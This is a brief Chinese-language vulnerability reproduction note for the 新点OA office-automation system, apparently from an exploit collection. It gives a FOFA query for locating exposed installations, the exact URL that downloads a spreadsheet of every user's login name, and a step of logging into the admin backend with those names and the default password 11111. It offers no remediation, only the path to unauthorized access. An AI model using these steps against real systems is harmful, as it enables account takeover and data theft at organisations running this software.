# 新点OA 敏感信息泄露漏洞
## 漏洞描述
新点OA 存在敏感信息泄露漏洞,访问特定的Url时可以获取所有用户的登录名信息,攻击者获取后可以进一步利用
## 漏洞影响
> 新点OA
## FOFA
> app="新点OA"
## 漏洞复现
构造的Url为
```
/ExcelExport/人员列表.xls
```
将会下载人员列表文件
![](/resource/新点OA-V7.0-V8.0-Getshell/media/xd-1.png)
通过获取的登录名登陆后台(默认密码11111)